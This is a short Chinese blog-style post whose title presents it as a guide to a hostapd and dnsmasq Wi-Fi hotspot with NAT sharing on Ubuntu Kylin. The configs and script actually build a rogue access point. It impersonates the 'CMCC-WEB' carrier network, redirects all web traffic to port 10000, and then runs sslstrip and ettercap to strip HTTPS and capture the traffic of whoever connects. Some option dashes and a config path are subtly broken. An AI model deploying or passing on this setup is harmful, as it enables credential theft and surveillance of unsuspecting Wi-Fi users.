ubuntu kylin 上hostapd dnsmasq 搭建wifi热点AP NAT共享上网
二话不说,直接上配置,没有的同学直接apt-get install
#/etc/hostapd/hostapd.conf #Name:Default #Type:Hostapd interface=wlan0 driver=nl80211 ssid=CMCC-WEB country_code=US hw_mode=g channel=7 macaddr_acl=0 |
#sudo vim /etc/dnsmasq.conf interface=wlan0 listen-address=127.0.0.1 #no-dhcp-interface= dhcp-range=10.0.0.10,10.0.0.100,12h server=/google/8.8.8.8 log-queries log-facility=/var/log/dnsmasq/dnsmasq.log dhcp-option=3,10.0.0.1 dhcp-option=6,8.8.8.8 |
#! /bin/sh
# 为无线添加路由规则
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t nat -A POSTROUTING -s 10.0.0.0/8 -o eth0 -j MASQUERADE
iptables -A FORWARD -s 10.0.0.0/8 -o eth0 -j ACCEPT
iptables -A FORWARD -d 10.0.0.0/8 -m conntrack –ctstate ESTABLISHED,RELATED -i eth0 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 10000
#dnsmasq与named一般情况下bind的named会占了53端口,
# 然后dnsmasq会启动不了,所以我用killall named来杀了named再启动dnsmasq。
nmcli r wifi off
rfkill unblock wlan
killall dhcpd
killall hostapd
ifconfig wlan0 up
ifconfig wlan0 10.0.0.1
#“-B”后台运行,之后的hostapd.conf需要指名路径.
hostapd -B /etc/hostapd-hostapd.conf
#/etc/init.d/dnsmasq restart
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid wlan0
/etc/init.d/isc-dhcp-server restart
# dnsmasq启动后会出现电脑突然上不了网,
# 因为dnsmasq更改了/etc/resolv.conf的原因。可以在/etc/resolv.conf加一行
# nameserver x.x.x.x
#填入DNS服务器地址,根据自己的情况修改。
echo "nameserver 219.147.1.66" >> /etc/resolv.conf
echo "nameserver 222.173.107.2" >> /etc/resolv.conf
echo 1 >/proc/sys/net/ipv4/ip_forward
#nameserver 219.147.1.66
#nameserver 222.173.107.2
gnome-terminal -x "sslstrip -l 10000"
ettercap -Tpuqi wlan0 |